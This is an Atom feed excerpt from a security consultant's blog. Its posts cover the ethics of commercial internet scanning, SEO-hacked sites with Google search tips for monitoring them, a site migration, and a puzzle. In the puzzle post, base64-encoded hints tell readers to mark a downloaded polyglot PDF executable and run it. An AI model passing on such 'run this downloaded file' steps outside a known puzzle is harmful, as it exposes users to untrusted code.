                <link href="https://yourflyis0pen.com/article/thick-skull-thicker-skin/?utm_source=atom_feed" rel="related" type="text/html" title="Thick Skull, Thicker Skin" />
                <link href="https://yourflyis0pen.com/article/why-lie/?utm_source=atom_feed" rel="related" type="text/html" title="Why Lie?" />
                <link href="https://yourflyis0pen.com/article/what-clinic-are-you-with/?utm_source=atom_feed" rel="related" type="text/html" title="What Clinic Are You With?" />
                <link href="https://yourflyis0pen.com/article/knock/?utm_source=atom_feed" rel="related" type="text/html" title="Knock, Knock... Who&#39;s There?" />
            
                <id>https://yourflyis0pen.com/article/saasy_scanning/</id>
            
            
            <published>2021-03-24T09:43:33-05:00</published>
            <updated>2021-03-24T09:43:33-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>I recently posed a Twitter poll on the following question about Scanning as a Service (SaaS):</p>
<p><strong>There are several companies who &ldquo;scan the Internet&rdquo; and provide the resulting data to paying customers. These scans can be a bit invasive. When do you think such scanning crosses a line?</strong></p>
<p>The results were as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>10% - All scanning = bad
</span></span><span style="display:flex;"><span> 0% - Service enumeration = bad
</span></span><span style="display:flex;"><span>45% - Account enumeration = bad
</span></span><span style="display:flex;"><span>45% - Scan away! No problem!
</span></span></code></pre></div><p>I find these results to be interesting for several reasons. Most obviously, there is a very big <em>split</em> in how security folks think about scanning. There is a minority who come from what I&rsquo;ll call the <em>Old School</em> perspective: thinking that <em>ANY</em> scanning is bad. (Note: I absolutely do not mean <em>Old School</em> in any sort of pejorative way - as will become clear momentarily&hellip;) The remainder of folks are split evenly between those holding the line at account enumeration and the whole <em>laissez faire</em>, go-ahead-and-scan-whatever-you-want point of view. No one chose to stop things at service enumeration - which I find a little surprising. I guess if you think a port scan is allowable, then poking around to find out exactly what service is behind an open port is fine as well.</p>
<p>As for my own, personal opinion&hellip; well&hellip; that&rsquo;s going to take a bit of explaining.</p>
<p>For the networks that I run, my answer is:</p>
<p><img src="come_at_me.gif" alt="Come at me bro&hellip;"></p>
<p>Best of luck to you.</p>
<p>But remember, we&rsquo;re talking about scanning the entire Internet, and that&rsquo;s a whole different kettle of fish.</p>
<p>Unless and until I am placed in charge of the entire Internet - <i>in order to fulfill the words of the ancient prophecy<sup><a href="#footnote">*</a></sup></i> - the bulk of what goes on <i>out there</i> is borderline kindergarten chaos. Few, if any, netblocks offer the kind of funhouse scanning journey that I can provide. We need to think about the children.</p>
<p>Here&rsquo;s the thing (remember when I told you <em>Old School</em> folk to hang on for a bit?): In my opinion, scanning is wrong.</p>
<p>I know I&rsquo;m going to get all kinds of flack about this (note: since I already admitted that, you really <em>don&rsquo;t</em> need to send it&hellip;) but I&rsquo;m <em>Old School</em> too. You don&rsquo;t have any business messing with someone else&rsquo;s stuff <em>unless they invite you</em>.</p>
<p>This is one of those things we teach our kids when they&rsquo;re little - you never walk into someone&rsquo;s house or room without being invited. <em>It&rsquo;s just not polite.</em> You don&rsquo;t plop down at a co-worker&rsquo;s desk and start using their computer without asking. <em>It&rsquo;s just not polite.</em></p>
<p>In polite society, we ask permission before we use someone&rsquo;s stuff.</p>
<p>Sometimes, there&rsquo;s a widely accepted ongoing invitation, and that&rsquo;s fine. Most houses have a sidewalk leading up to a front door, and a doorbell. Unless there&rsquo;s a sign telling you not to, it&rsquo;s totally permissible to walk up that sidewalk and ring that bell. I kinda think of websites behaving like this&hellip; they&rsquo;re the sidewalks and doorbells of the Internet. If you&rsquo;re going to get bent about someone connecting up to 80/TCP, then firewall that sucker off. Also, you need anger management.</p>
<p>But in polite society, we don&rsquo;t go <em>beyond</em> the sidewalks and doorbells. We don&rsquo;t go peeking through windows and rattling doors. And <em>that&rsquo;s</em> why I don&rsquo;t like this new trend.</p>
<p>Having these SaaSsy scanning folks attempting to legitimize port scans, service enumeration, and worse just muddies the waters for those of us trying to actually monitor our networks for real attacks. Over the past several months, I&rsquo;ve been Tweeting out every new scan I&rsquo;ve seen where someone is claiming <em>legitimacy</em>. It&rsquo;s starting to get a little ridiculous. How am I supposed to see threats when the threats have become a business model?</p>
<p>My buddy <a href="https://twitter.com/johullrich">Johannes Ullrich</a> reminded me that the SANS Internet Storm Center has a feed of <em>research</em>-related IP space - ranges of IP addresses that claim that their scanning is legitimate. It can be grabbed in two flavors: straight up <a href="https://isc.sans.edu/api/threatcategory/research">XML</a> or <a href="https://isc.sans.edu/api/threatcategory/research?json">JSON</a>. While I applaud the effort, it just isn&rsquo;t enough. Because of the thrashing in the industry, this list is never going to be comprehensive (in fact, Johannes updated the list from a netblock found in one of my tweets). And the paranoid security dude living deep inside me wonders <em>what the hell are they doing with this <strong>research</strong>?</em></p>
<p>Of course the SaaSsy scanning folks will say, <em>&ldquo;But you can opt-out&hellip; Tell us you don&rsquo;t want us to scan your netblock and we won&rsquo;t. See how virtuous we are?&rdquo;</em></p>
<p>I&rsquo;m convinced that they do this stuff just to get me all riled up.</p>
<p>I shouldn&rsquo;t have to opt-out. To return to the <em>polite society</em> metaphor, I don&rsquo;t need to opt out of having someone poke around my property without my permission, and anyone who <em>does</em> go beyond the boundaries placed by polite society is automatically suspect. If I find you wandering around in my garage without my permission, you&rsquo;re going to have some serious &lsquo;splainin&rsquo; to do - to me and, likely, to the police. So why is it <em>okay</em> for someone to build a business that is modeled around the wholesale violation of the boundaries of polite society?</p>
<p>Sorry, you SaaSsy scanners - while what you do <em>may</em> (in some jurisdictions) be legal, as far as I&rsquo;m concerned, that doesn&rsquo;t make it right. Just saying you&rsquo;re <a href="https://twitter.com/tliston/status/1374449794572185607">TOTES LEGIT</a> doesn&rsquo;t make it true.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
March 24, 2021</p>
<p id="footnote"><sup>*</sup>This is one of my favorite phrases to throw into conversation. I feel it lends an air of gravitas to even the most mundane activity. <i>"Yes dear, I took out the garbage like you asked, in order to fulfill the words of the ancient prophecy."</i></p>
<p>I pretty much think that my wife deserves sainthood.</p></p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/professionalism" term="professionalism" label="professionalism" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/scanning" term="scanning" label="scanning" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/attribution" term="attribution" label="attribution" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Priorities]]></title>
            <link href="https://yourflyis0pen.com/article/priorities/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/why-lie/?utm_source=atom_feed" rel="related" type="text/html" title="Why Lie?" />
                <link href="https://yourflyis0pen.com/article/danger-will-robinson/?utm_source=atom_feed" rel="related" type="text/html" title="Danger, Will Robinson!" />
                <link href="https://yourflyis0pen.com/article/knock/?utm_source=atom_feed" rel="related" type="text/html" title="Knock, Knock... Who&#39;s There?" />
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/rabbits/?utm_source=atom_feed" rel="related" type="text/html" title="Cool little round pebbles" />
            
                <id>https://yourflyis0pen.com/article/priorities/</id>
            
            
            <published>2021-03-21T18:57:57-05:00</published>
            <updated>2021-03-21T18:57:57-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>Remember how often the word <em>unprecedented</em> got used in 2020?</p>
<p>Unfortunately, 2021 has started off in an <em>unprecedented</em> manner as well. Solar Winds, Microsoft Exchange, Big-IP to name but a few of the unprecedented <em>things</em> that we&rsquo;ve been dealing with since the ball dropped on New Years Eve.</p>
<p>Now is not the time for people who aren&rsquo;t serious about their work to be involved in IT and especially IT Security.</p>
<p>That&rsquo;s why this story bothers me so much.</p>
<p>First of all, let&rsquo;s get this straight: I&rsquo;m deliberately not naming names in this story because I don&rsquo;t want to <em>out</em> anyone - I&rsquo;m a hell of a nice guy that way. Not that they don&rsquo;t deserve to be <em>outed</em> - they do. But I was young and stupid once too - we all were, so I&rsquo;m somewhat apt to give that combination a pass.</p>
<p>Also, <em>and this is important</em>, I&rsquo;m working off of a very limited view of the individuals involved. I don&rsquo;t know them, I don&rsquo;t know their mindset or their struggles - I only know what I can interpret from their social media posts - something that, I&rsquo;ll admit, is likely to paint a horribly inaccurate portrait.</p>
<p>But, while this certainly may not be an accurate portrait of this unnamed individual, I do believe that it accurately portrays something about our industry in general - and that&rsquo;s why I&rsquo;m telling this story.</p>
<p>So, let&rsquo;s start at the beginning&hellip;</p>
<p>Hi, my name is Tom, and I have a knack for finding compromised systems on the Internet. I find them, and then I <em>try</em> to contact the system owners (as opposed to <em>0wners</em>) to get them fixed. Hey&hellip; it&rsquo;s a hobby.</p>
<p>Generally speaking, I have two main tools that I use find compromised systems:</p>
<ul>
<li>I run a bunch of different types of honeypot systems</li>
<li>I do a lot of Google searches</li>
</ul>
<p>This story starts with the latter.</p>
<p>Using some Google search-fu, I found a website that had been 0wned by purveyors of boner pills. Unless you&rsquo;re new to the Internet, this shouldn&rsquo;t be surprising. Folks selling all manner of borderline-illicit things whack websites left and right on the &lsquo;Net, placing links from the compromised sites pointing back to their own storefronts. The idea is to boost their site&rsquo;s rankings in search engine results - a process known as <em>Search Engine Optimization (SEO) Hacking</em>. (Lest I get a slew of emails <em>again</em>, I am compelled to state that there <em>are</em> legitimate SEO practices that can be used to boost a site&rsquo;s search engine ranking. <em>These do not, however, involve hacking other sites</em>. Just sayin&rsquo;&hellip;)</p>
<p>The more popular and more <em>legit</em> a site is, the better target it represents for SEO hacking. If you&rsquo;re trying to boost your site toward the top of the search engine rankings, you want it to have links from popular and legitimate sites. And <em>lots</em> of those links.</p>
<p>As best as I can tell, the site I found had been compromised for at least <i>7 months</i>. It had, according to Google, about 21,800 "pages" linking to various boner pill storefronts. Please note that I put the word "pages" in quotes (<-- there, I did it again). That's because the compromised site was run on WordPress (<i>the WebApp Hacker's BFF<sup>&trade;</sup></i>). As such, the whole concept of "pages" is a little vague... YourFlyIsOpen.com is a <i>statically</i> generated site and thus has an individual html file for each page. WordPress sites are <i>dynamically</i> generated and can just have a bunch of URLs listed in a database that point to a single chunk of crappy markup/HTML stored in that same database. When WordPress gets a request for one of those stored URLs, it just vomits out the associated HTML. Thus, the idea of "pages" becomes a little bit slippery...</p>
<p>All of that being said, this is pretty run-of-the-mill stuff on the &lsquo;Net in 2021. I find sites like this all of the time and I do my very best to find someone to get them cleaned up. That&rsquo;s where this one went a little off the rails.</p>
<p>I sent multiple emails.</p>
<p>I called and left voicemails.</p>
<p><em>Nothing</em>.</p>
<p>Sometimes, for whatever reason, a specific site compromise <em>bothers</em> me. For most sites, I&rsquo;m just fine to make an effort and then let it go if nothing happens. Every once in a while, I just can&rsquo;t walk away. This was one of <em>those</em>.</p>
<p>I decided to do a little digging. Helpfully, the site had one of those <em>Our Team</em> sections that listed a bunch of their IT folks. That was what I used for firing off the emails and phone calls.</p>
<p>I decided to use some of those names to poke around a little bit on Twitter. I figured maybe I could use the Big Blue Bird to give someone a nudge to do something about their compromised site. On my third try, I had what looked like a hit.</p>
<p>I pulled up a list of their Tweets and plowed down through them in order to see if I could find any details that might verify that this was, indeed, a person associated with the compromised site.</p>
<p>That&rsquo;s when I got aggravated.</p>
<p>A few months back, they had Tweeted triumphantly about the results of a phishing exercise that they had performed. They were absolutely <em>gleeful</em> about the fact that they had &ldquo;gotten hits&rdquo; from several members of the organization who would now need to perform remedial phishing training.</p>
<p><em>What. The. Hell.</em></p>
<p>Generally, I&rsquo;m not one for tossing around Biblical quotes, but this one just seems so darned appropriate:</p>
<p><em>Thou hypocrite, first cast out the beam out of thine own eye; and then shalt thou see clearly to cast out the mote out of thy brother&rsquo;s eye.</em> - Matthew 7:5</p>
<p>As a practice, Security has a problem with beams, motes, and priorities.</p>
<p>For the past 20 years, it&rsquo;s been my privilege to work with all manner of folks who are trying to do better - trying to <em>up their game</em>. These are serious folks, working in serious organizations, being serious about doing their best.</p>
<p>Unfortunately, there are still a ton of organizations out there that are content to just go along, doing what they&rsquo;re doing, generally being <em>unserious</em> about their jobs. These folks (and thus their organizations) have priorities that are all askew.</p>
<p>Let me spell this out: <em>If you&rsquo;re an IT professional and you get an email from me, telling you about a system or site compromise, you likely aren&rsquo;t being serious about your job. You need to check your priorities.</em></p>
<p>Put aside for a moment that your site got whacked&hellip; hell, people make mistakes, those things happen. The bothersome thing here is that <em>someone else found out about it before you did</em>. You can&rsquo;t be monitoring your network to an appropriate level if someone else figures this stuff out before you.</p>
<p>Let&rsquo;s try to get some priorities in order:</p>
<ol>
<li>If your organization provides publicly available services (web, email, VPN, etc&hellip;) your first priority is to make sure that those are deployed <em>securely</em>.</li>
<li><em>Monitor your frickin&rsquo; logs</em>. No, this isn&rsquo;t as fun or as flashy as a pentest or a phishing exercise, but it&rsquo;s <em>your</em> job and it&rsquo;ll find <em>your</em> problems before someone else (like me!) does. Seriously, that&rsquo;s your second priority.</li>
<li>Unless and until you&rsquo;ve done the work of actually locking down your environment to the level of <em>generally accepted best practices</em> don&rsquo;t even <strong>think</strong> about pentests. Professional pentesters will eat you alive.</li>
<li>Make sure you&rsquo;ve gotten the beam out of your own eye <em>before</em> looking for the mote in someone else&rsquo;s. <em>Don&rsquo;t even think about running a phishing exercise unless you&rsquo;re checking your logs and you&rsquo;re damned sure your website isn&rsquo;t compromised.</em></li>
<li>Get yourself educated. Before you can educate your users (and you <em>should be</em> educating your users), you need to understand more about your job. Security is constantly evolving, if you&rsquo;re not, you and your organization will be left behind.</li>
</ol>
<p>A couple of bonus chunks of advice:</p>
<ul>
<li>Phishing exercise should never be <em>gotcha games</em>.</li>
<li>What is there to be gleeful about when someone takes a phishing bait? That just means <em>you</em> failed to properly educate them.</li>
</ul>
<p>Security 101 in a nutshell:</p>
<ul>
<li>Deploy your <em>stuff</em> securely</li>
<li>Monitor your <em>stuff</em> to make sure it stays secure</li>
</ul>
<p>Please note: <em>Stuff</em> wasn&rsquo;t my first wording&hellip;</p>
<p><strong>Priorities are important. Make sure you understand yours.</strong></p>
<p>Now, if you&rsquo;ll excuse me, I think I&rsquo;ve got something in my eye.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
March 22, 2021</p>
<h3 id="postscript">Postscript</h3>
<p>Because I am - <em>as stated earlier</em> - a hell of a nice guy, I&rsquo;m going to leave you with some tricks that you <em>absolutely should</em> be using to monitor your organization&rsquo;s website. This isn&rsquo;t a substitute for monitoring your logs, but it&rsquo;s something you should be doing in <em>addition</em> to monitoring your logs.</p>
<ul>
<li>Do a Google search. Using Google&rsquo;s <em>site:</em> keyword, anchor your search to only pages on your site.
<ul>
<li>site:yourwebsite.com</li>
</ul>
</li>
<li>Check out the number of results at the top of the first page. If this is your first time looking at your site, you may not have a clue how many pages your site has. Remember: There&rsquo;s a good reason they say &ldquo;<em>About X results</em>.&rdquo; Use this number as a reference/order of magnitude only. But <em>if this number changes dramatically</em> the next time you do this, you need to figure out <em>why</em>.</li>
<li>Look through all of the results and make sure there isn&rsquo;t anything <em>unexpected</em> in there&hellip;
<ul>
<li>I <em>never</em> said this was going to be easy&hellip;</li>
<li>If your site has an inordinate number of pages, you can narrow things down a bit by adding some well chosen search terms. I generally throw in the word <em>buy</em>. Remember though, you <em>could</em> be missing things.</li>
</ul>
</li>
<li>For some additional fun, you can paste <strong>&amp;as_qdr=y15</strong> at the end of the Google search URL. That&rsquo;ll tag each search result with the last time that Google noticed that the page was updated.</li>
</ul>
<p><em>Seriously. GO DO THIS. Because if you don&rsquo;t, I will&hellip;</em></p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/professionalism" term="professionalism" label="professionalism" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/attribution" term="attribution" label="attribution" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/notification" term="notification" label="notification" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/tricks" term="tricks" label="tricks" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Laundry Problems]]></title>
            <link href="https://yourflyis0pen.com/article/aws_lets_encrypt/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/skodovia/?utm_source=atom_feed" rel="related" type="text/html" title="Grab a wooden stake, we&#39;re headed to Skodovia to kill MD5..." />
                <link href="https://yourflyis0pen.com/article/rabbits/?utm_source=atom_feed" rel="related" type="text/html" title="Cool little round pebbles" />
                <link href="https://yourflyis0pen.com/article/0x3a/?utm_source=atom_feed" rel="related" type="text/html" title="0x3A" />
                <link href="https://yourflyis0pen.com/article/mr-watson/?utm_source=atom_feed" rel="related" type="text/html" title="&#34;Mr. Watson, come here. I want some career advice.&#34;" />
                <link href="https://yourflyis0pen.com/article/thick-skull-thicker-skin/?utm_source=atom_feed" rel="related" type="text/html" title="Thick Skull, Thicker Skin" />
            
                <id>https://yourflyis0pen.com/article/aws_lets_encrypt/</id>
            
            
            <published>2021-03-18T12:25:55-05:00</published>
            <updated>2021-03-18T12:25:55-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>So for quite some time now, I&rsquo;ve been avoiding something&hellip;</p>
<p>There is a class of problems that I often refer to as <em>laundry problems</em>. This harkens back to my college days when I would put off doing my laundry for days and days. I would look at the large, overflowing bag of dirty clothes and be overwhelmed just <em>looking</em> at it.</p>
<p><em>&ldquo;Oh man&hellip;,&rdquo;</em> I would think, <em>&ldquo;I need to haul that big dang bag to the laundromat, sort it, wash a bunch of separate loads, dry it, fold or hang it, and then haul it all back&hellip;&rdquo;</em></p>
<p>It was pretty much over before it began.</p>
<p><em>&ldquo;I just don&rsquo;t have time&hellip;,&rdquo;</em> I would think, <em>&ldquo;I&rsquo;ll do it on the weekend&hellip;&rdquo;</em></p>
<p>And the laundry would continue to pile up.</p>
<p>At some point, that horrible day would arrive. I would open a drawer, or look in the closet, and realize that I was taking the very last shirt, or the very last pair of pants. (<strong><em>Note 1:</em></strong> Generally this came after <em>re-wearing</em> several articles of clothing. Having <em>re-worn</em> everything decent, you were down to that one shirt or pair of pants that you <em>really</em> didn&rsquo;t like very much, but that you would rather wear than&hellip; well.. do laundry. <strong><em>Note2:</em></strong> Being incredibly self-aware when it came to my laundry-procrastination abilities, I would always be sure to have an overabundance of underwear&hellip; <em>re-underwearing</em> being a fate too horrible to ponder.)</p>
<p>And so, with no other alternatives, I would resign myself to fate: I <em>would</em> be spending that afternoon or evening doing laundry.</p>
<p>And you know what? <em>Every time</em>, when I was done, I would think the same thing:</p>
<p>&ldquo;<em>Well&hellip; that really wasn&rsquo;t so bad.</em>&rdquo;</p>
<p>Lots of problems in life are <em>laundry problems.</em> We tend to make the obstacles or difficulties seem so big in our minds, we end up avoiding doing <em>anything</em>.</p>
<p>This website has been languishing on an old, outdated AWS instance for&hellip; well&hellip; about five years.</p>
<p>Every time I thought about fixing it, I came up with several dozen excuses for why <em>now</em> just wasn&rsquo;t a practical time to take on that task.</p>
<p>No question: <em>A laundry problem.</em></p>
<p>Last night, in a fit of pique (note: the result of me being irritated at myself, because I&rsquo;ve <em>injured my own pride</em> by continuing to procrastinate) I dove in and tackled it.</p>
<p>Holy hell, I <em>love</em> AWS, <code>ssh</code>, and <code>rsync</code> because now I get to say, &ldquo;<em>Well&hellip; that really wasn&rsquo;t so bad.</em>&rdquo;</p>
<p>It took me probably 45 minutes from start to finish. I was so frickin&rsquo; proud of myself, I even shifted the site over to HTTPS using a <a href="https://letsencrypt.org/">Let&rsquo;s Encrypt</a> certificate. That took a little longer, because there was some learnin&rsquo; involved, but <em>that really wasn&rsquo;t so bad</em> either.</p>
<p><em>Hmmmm&hellip;</em></p>
<p><em>I should probably start working on my taxes&hellip;</em></p>
<p><em>I just don&rsquo;t have time&hellip;</em></p>
<p><em>I&rsquo;ll do it on the weekend&hellip;</em></p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
March 18, 2021</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/personal" term="personal" label="personal" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/aws" term="aws" label="AWS" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/letsencrypt" term="letsencrypt" label="LetsEncrypt" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Grab a wooden stake, we're headed to Skodovia to kill MD5...]]></title>
            <link href="https://yourflyis0pen.com/article/skodovia/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/rabbits/?utm_source=atom_feed" rel="related" type="text/html" title="Cool little round pebbles" />
                <link href="https://yourflyis0pen.com/article/wait-wut/?utm_source=atom_feed" rel="related" type="text/html" title="Wait... Wut?" />
                <link href="https://yourflyis0pen.com/article/miracle/?utm_source=atom_feed" rel="related" type="text/html" title="A Miracle In University Park" />
                <link href="https://yourflyis0pen.com/article/pwned-me-a-n00b/?utm_source=atom_feed" rel="related" type="text/html" title="Pwned Me a N00b" />
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
            
                <id>https://yourflyis0pen.com/article/skodovia/</id>
            
            
            <published>2021-03-16T09:58:40-05:00</published>
            <updated>2021-03-16T09:58:40-05:00</updated>
            
            
            <content type="html"><![CDATA[<p><em>Background: Every few years, I invite about a dozen new and old friends from the security community to my house for a long weekend. We hang out, talk until the wee hours of the morning, and play with interesting high- and low-tech toyz. Good food is eaten and a few adult beverages are consumed. We&rsquo;ve played with Geisler tubes, high-speed video, AR, VR, robots, and even a vortex cannon that shot three-foot smoke rings the length of my driveway. We have a lot of nerdy fun&hellip;</em></p>
<p><em>Additionally, each of these gatherings - which have been dubbed &ldquo;ListonCon&rdquo; - have started with a group puzzle and ended with a Sooper Sekret Field Trip to somewhere interesting. We&rsquo;ve had private tours of <a href="https://www.yerkesobservatory.org/">Yerkes Observatory</a> and <a href="https://www.fnal.gov/">FermiLab</a>. We&rsquo;ve even spent a little time at one of the world&rsquo;s largest video arcades, the <a href="https://www.gallopingghostarcade.com/">Galloping Ghost Arcade</a>.</em></p>
<p><em>Last February, we (<a href="https://twitter.com/cutaway">Don &ldquo;Cutaway&rdquo; Weber</a>, <a href="https://twitter.com/1SuzannePereira">Suzanne Pereira</a> and I - they&rsquo;re my faithful co-organizers of these events) were talking about possible dates for the summer when we began hearing rumblings about a strange virus outbreak in China. Everyone on earth knows how <strong>that</strong> turned out&hellip; So, while an in-person event was off the table, we pivoted to creating a virtual event instead. To keep the Sooper Sekret Field Trip tradition alive, I decided that I needed to create a Virtual Sooper Sekret Field Trip.</em></p>
<p><em>At the same time, I had been thinking about a way to drive a stake through the heart of the MD5 hash - something that is still widely used by lots of folks who <a href="https://en.wikipedia.org/wiki/MD5#:~:text=The%20CMU%20Software%20Engineering%20Institute,and%20deprecation%20by%20security%20experts.">should really know better</a>.</em></p>
<p><em>Thus, the fictional land of Skodovia was born (it was a rework / extension of a challenge I put together for the <a href="https://www.sans.org/blog/and-now-for-something-awesome-sans-launches-new-series-of-worldwide-capture-the-flag-cyber-events/">SANS Mini Netwars - Mission 1</a>). I originally created and distributed this for the folks who attended the 2020 Virtual ListonCon, but I&rsquo;m going to just leave it here and not say too much more about it except for these three things:</em></p>
<ul>
<li><em>It&rsquo;s pretty Linux-centric. I apologize to the Windows folks amongst you. Microsoft should, but won&rsquo;t.</em></li>
<li><em>The PDF file opens nicely in both Chrome and Okular. If you&rsquo;re having trouble, try one of those&hellip;</em></li>
<li><em>Sometimes things turn out to be a little more involved than they may seem at first<a href="https://en.wikipedia.org/wiki/Polyglot_(computing)">.</a></em></li>
</ul>
<p>Need a hint?</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>echo &#39;VHJ5IHRoZSBMaW51eCAnZmlsZScgY29tbWFuZC4K&#39; | base64 -d
</span></span></code></pre></div><p>Need an additional hint?</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>echo &#39;TWFrZSB0aGUgUERGIGV4ZWN1dGFibGUgKGNobW9kICt4IFZpc2l0U2tvZG92aWEucGRmKS4gUnVuIGl0Lgo=&#39; | base64 -d
</span></span></code></pre></div><hr>
<h2 id="visit-skodovia-come-for-the-people-stay-for-the-wombats">Visit Skodovia: Come for the people, stay for the wombats.</h2>
<p><img src="wombat.gif" alt="a sexy, sexy wombat"></p>
<p align=center><a href=VisitSkodovia.pdf>Download our Informative Brochure</a></p>
<p align=center>Note: It is <b><i>absolutely critical</i></b> that you confirm that the MD5sum of the brochure file is <i>650c537172de7e559b686100aa3a1c06</i> before you open it.</p>
<p align=center>You also might want to keep a backup. Just sayin'...</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/vulnerabilities" term="vulnerabilities" label="vulnerabilities" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/toyz" term="toyz" label="toyz" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Cool little round pebbles]]></title>
            <link href="https://yourflyis0pen.com/article/rabbits/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="related" type="text/html" title="If I Cant See It, It Isn&#39;t A Problem..." />
                <link href="https://yourflyis0pen.com/article/putting-the-ed-in-edu/?utm_source=atom_feed" rel="related" type="text/html" title="Putting the ED in EDU..." />
                <link href="https://yourflyis0pen.com/article/you-done-brang-it-on-yourself/?utm_source=atom_feed" rel="related" type="text/html" title="You Done Brang It on Yourself" />
            
                <id>https://yourflyis0pen.com/article/rabbits/</id>
            
            
            <published>2021-03-14T14:34:00-05:00</published>
            <updated>2021-03-14T14:34:00-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>We live, essentially, in the middle of nowhere. We&rsquo;re surrounded by farm fields that are lined with fence-rows of scrub trees, tall grass, and rocks. There&rsquo;s lots of wildlife around here - squirrels, rabbits, chipmunks, skunks and foxes. At night, we often hear packs of coyotes howling as they run through the nearby fields.</p>
<p>We have a fenced in area around our pool. When the temperature falls and small critters start looking for a place to hunker down before the snow flies, sometimes they land inside our fence.</p>
<p>It&rsquo;s a pretty awesome place for them to winter over. Lots of plants and bushes for cover. And then there&rsquo;s the fence: bars spaced wide enough for small critters to pass through but narrow enough to keep the coyotes out.</p>
<p>Every few winters, the rabbits move in&hellip;</p>
<p>The problem with the rabbits is twofold: they tend to eat plants and then they&hellip; well&hellip; they poop.</p>
<p>A pair of rabbits produces an amazing amount of poop.</p>
<p>This past weekend, my grandsons were over visiting. My wife and I were working outside by the pool, doing some early spring cleanup and the kids were running around, being&hellip; well&hellip; kids.</p>
<p>Out of the blue, my youngest grandson came running up to my wife and held out his hand to show her something.</p>
<p><em>&ldquo;Look, Grandma,&rdquo;</em> he proudly declared, <em>&ldquo;I found a bunch of cool little round pebbles&hellip;!&rdquo;</em></p>
<hr>
<p>We have a problem in the security industry. <em>(To be fair, it&rsquo;s a problem with the whole technology sector in general, although the security industry probably represents the worst of the worst.)</em></p>
<p>If it&rsquo;s shiny, if it&rsquo;s new, if it&rsquo;s tagged with any of the buzzword techno-concepts <em>du jour</em> - <strong>we want it.</strong> Currently, if you slap &ldquo;machine learning,&rdquo; &ldquo;AI,&rdquo; or &ldquo;blockchain&rdquo; onto any old-school tech, you&rsquo;ll likely have to swat away the customers like flies - whether using those technologies makes sense or not.</p>
<p>That&rsquo;s why I&rsquo;m particularly proud of the work that I do with <a href="https://www.counterhack.com/">Counter Hack</a>. We do our best to integrate buzzword tech into the challenges that we create - so folks have an opportunity to work with those technologies and a gain hands-on understanding of what they&rsquo;re really all about. As an example, for the <a href="https://holidayhackchallenge.com/">SANS 2020 Holiday Hack Challenge</a> I worked with my elf pal <a href="https://twitter.com/QPetabyte">Qwerty Petabyte</a> (who teaches at <em>Elf University</em> at the North Pole) to put together a <a href="https://www.youtube.com/watch?v=reKsZ8E44vw">blockchain challenge</a>.</p>
